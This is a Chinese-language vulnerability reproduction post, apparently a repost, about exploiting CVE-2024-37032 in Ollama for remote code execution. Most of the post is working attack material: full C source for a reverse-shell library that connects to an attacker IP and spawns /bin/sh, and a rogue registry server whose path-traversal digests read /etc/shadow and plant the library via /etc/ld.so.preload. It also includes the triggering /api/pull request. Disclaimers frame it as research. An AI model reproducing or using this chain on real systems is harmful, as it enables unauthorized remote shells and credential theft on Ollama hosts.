文章总结: 本文复现CVE-2024-37032Ollama漏洞的远程代码执行利用链,通过构造恶意动态链接库bad.so实现反弹shell,并利用路径遍历漏洞将恶意文件写入/etc/ld.so.preload。攻击者需搭建恶意服务器模拟镜像仓库,当Ollama拉取镜像时触发预加载机制实现RCE。 综合评分: 82 文章分类: 漏洞分析,渗透测试,WEB安全,红队,安全工具
【漏洞复现】CVE-2024-37032 Ollama远程代码执行漏洞
原创
hxiicle hxiicle
小菜狗的白帽之路
2025年6月19日 18:19 北京
在小说阅读器读本章
去阅读
免责声明:本文漏洞复现内容仅供学习交流,严禁用于非法目的,违者后果自负。
目前CVE-2024-37032的复现文章大多都只是复现任意文件读取,本文主要复现利用任意文件写入漏洞导致远程代码执行的部分,思路来源:
https://www.vicarius.io/vsociety/posts/probllama-in-ollama-a-tale-of-a-yet-another-rce-vulnerability-cve-2024-37032
一、制作动态链接库文件bad.so
1、bad.c
#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <sys/socket.h>#include <arpa/inet.h>#include <netinet/in.h>
// 攻击者 IP 地址和端口,请根据实际情况修改#define ATTACKER_IP "192.168.222.130"#define ATTACKER_PORT 7788
__attribute__((constructor))void init_bad_so() { // 派生一个子进程,让父进程立即退出,避免干扰原始进程 if (fork() == 0) { // 子进程继续执行反弹 Shell int sockfd, ret; struct sockaddr_in server_addr;
// 创建 socket sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) { // 错误处理,但在隐蔽场景下可能不会有输出 exit(1); }
// 配置服务器地址 server_addr.sin_family = AF_INET; server_addr.sin_port = htons(ATTACKER_PORT); ret = inet_pton(AF_INET, ATTACKER_IP, &server_addr.sin_addr); if (ret <= 0) { // 错误处理 close(sockfd); exit(1); }
// 连接到攻击者 ret = connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)); if (ret < 0) { // 错误处理 close(sockfd); exit(1); }
// 将标准输入、标准输出、标准错误重定向到 socket dup2(sockfd, 0); // stdin dup2(sockfd, 1); // stdout dup2(sockfd, 2); // stderr
// 执行 Shell // 可以根据目标系统情况选择 bash 或 sh char *const argv[] = {"/bin/sh", NULL}; // 或者 "/bin/bash" execve("/bin/sh", argv, NULL);
// 如果 execve 失败,关闭 socket 并退出 close(sockfd); exit(0); } else { // 父进程退出,不影响原始进程的启动 // 实际上,因为是 LD_PRELOAD 加载,这里只是让构造函数返回 // 原始进程会继续正常启动 }}
2、生成bad.so
gcc -shared -fPIC -o bad.so bad.c
二、修改server.py(来源:https://github.com/Bi0x/CVE-2024-37032),在同级目录下放文件bad.so和ld.so.preload,ld.so.preload内容为/root/bad.so
from fastapi import FastAPI, Request, Responseimport os
HOST = "192.168.222.130"app = FastAPI()# 恶意共享库的路径MALICIOUS_LIB_PATH = "bad.so"ld_so_preload_PATH = "ld.so.preload"
@app.get("/")async def index_get(): return {"message": "Hello rogue server"}
@app.post("/")async def index_post(callback_data: Request): print(await callback_data.body()) return {"message": "Hello rogue server"}
# for ollama [email protected]("/v2/rogue/bi0x/manifests/latest")async def fake_manifests(): return {"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"../../../../../../../../../../../../../etc/shadow","size":10},"layers":[{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../tmp/notfoundfile","size":10},{"mediaType":"application/vnd.docker.distribution.manifest.v2+json","digest":"../../../../../../../../../../../../../etc/passwd","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":f"../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../root/bad.so","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../etc/ld.so.preload","size":10}]}
@app.head("/etc/passwd")async def fake_passwd_head(response: Response): response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../etc/passwd" return ''
@app.get("/etc/passwd", status_code=206)async def fake_passwd_get(response: Response): response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../etc/passwd" response.headers["E-Tag"] = "\"../../../../../../../../../../../../../etc/passwd\"" return 'cve-2024-37032-test'
@app.head(f"/root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest")async def fake_latest_head(response: Response): response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest" return ''
@app.get(f"/root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest", status_code=206)async def fake_latest_get(response: Response): response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest" response.headers["E-Tag"] = "\"../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest\"" return {"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"sha256:bbcd047a6a5193b9b4ff84176b6379998baa00a2532f46058d917835f52ac67f","size":10},"layers":[{"mediaType":"application/vnd.ollama.image.license","digest":"sha256:bbcd047a6a5193b9b4ff84176b6379998baa00a2532f46058d917835f52ac67f","size":10},{"mediaType":"application/vnd.docker.distribution.manifest.v2+json","digest":"../../../../../../../../../../../../../etc/passwd","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":f"../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest","size":10}]}
@app.head("/root/bad.so")async def fake_notfound_head(response: Response): response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../root/bad.so" return ''
@app.get("/root/bad.so", status_code=206)async def fake_notfound_get(response: Response): response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../root/bad.so" response.headers["E-Tag"] = "\"../../../../../../../../../../../../../root/bad.so\"" if os.path.exists(MALICIOUS_LIB_PATH): with open(MALICIOUS_LIB_PATH, "rb") as f: lib_content = f.read() return Response(content=lib_content, media_type="application/octet-stream") else: # 如果文件不存在,返回默认测试内容 return 'cve-2024-37032-test'
@app.head("/etc/ld.so.preload")async def fake_notfound_head(response: Response): response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../etc/ld.so.preload" return ''
@app.get("/etc/ld.so.preload", status_code=206)async def fake_notfound_get(response: Response): response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../etc/ld.so.preload" response.headers["E-Tag"] = "\"../../../../../../../../../../../../../etc/ld.so.preload\"" if os.path.exists(ld_so_preload_PATH): with open(ld_so_preload_PATH, "rb") as f: lib_content = f.read() return Response(content=lib_content, media_type="application/octet-stream") else: # 如果文件不存在,返回默认测试内容 return 'cve-2024-37032-test'
@app.head("/tmp/notfoundfile")async def fake_notfound_head(response: Response): response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../tmp/notfoundfile" return ''
@app.get("/tmp/notfoundfile", status_code=206)async def fake_notfound_get(response: Response): response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../tmp/notfoundfile" response.headers["E-Tag"] = "\"../../../../../../../../../../../../../tmp/notfoundfile\"" return 'cve-2024-37032-test'
# for ollama [email protected]("/v2/rogue/bi0x/blobs/uploads/", status_code=202)async def fake_upload_post(callback_data: Request, response: Response): print(await callback_data.body()) response.headers["Docker-Upload-Uuid"] = "3647298c-9588-4dd2-9bbe-0539533d2d04" response.headers["Location"] = f"http://{HOST}/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D" return ''
@app.patch("/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04", status_code=202)async def fake_patch_file(callback_data: Request): print('patch') print(await callback_data.body()) return ''
@app.post("/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04", status_code=202)async def fake_post_file(callback_data: Request): print(await callback_data.body()) return ''
@app.put("/v2/rogue/bi0x/manifests/latest")async def fake_manifests_put(callback_data: Request, response: Response): print(await callback_data.body()) response.headers["Docker-Upload-Uuid"] = "3647298c-9588-4dd2-9bbe-0539533d2d04" response.headers["Location"] = f"http://{HOST}/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D" return ''
if __name__ == "__main__": import uvicorn uvicorn.run(app, host='0.0.0.0', port=80)
三、测试机器192.168.222.130监听7788端口,并发送EXP
POST /api/pull HTTP/1.1Host: 192.168.222.132:11434Content-Type: application/jsonContent-Length: 67
{ "name": "192.168.222.130/rogue/bi0x", "insecure": true}
在目标机器上执行任意命令就可以成功反弹shell!!!
复现这个漏洞卡点在于利用接口/api/pull拉文件时,会校验文件的sha256,导致文件/tmp/notfoundfile始终不能下载到目标服务器上。
研究后发现ollama的校验机制是如果第一个层的文件校验失败(SHA256不匹配),在删除该文件后就会立即返回错误,不会继续处理后续的层文件,代码位置在 server/images.go/1067行左右。
for _, layer := range layers { // 遍历所有镜像层 if err := verifyBlob(layer.Digest); err != nil { // 验证当前层数据块的完整性 if errors.Is(err, errDigestMismatch) { // 判断错误是否为"摘要不匹配" // 获取数据块文件路径 fp, err := GetBlobsPath(layer.Digest) if err != nil { return err // 路径获取失败,直接返回错误 } // 尝试删除损坏的文件 if err := os.Remove(fp); err != nil { // 删除失败时记录日志(但不中断流程) slog.Info(fmt.Sprintf("couldn't remove file with digest mismatch '%s': %v", fp, err)) } } return err // 返回原始错误(无论是否删除文件) }}
根据这个处理逻辑,只要修改server.py的内容,将bad.so写在/tmp/notfoundfile的后面就能解决了,具体修改的内容可以通过对比原始的server.py进行查看。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:小菜狗的白帽之路 hxiicle hxiicle《【漏洞复现】CVE-2024-37032 Ollama远程代码执行漏洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论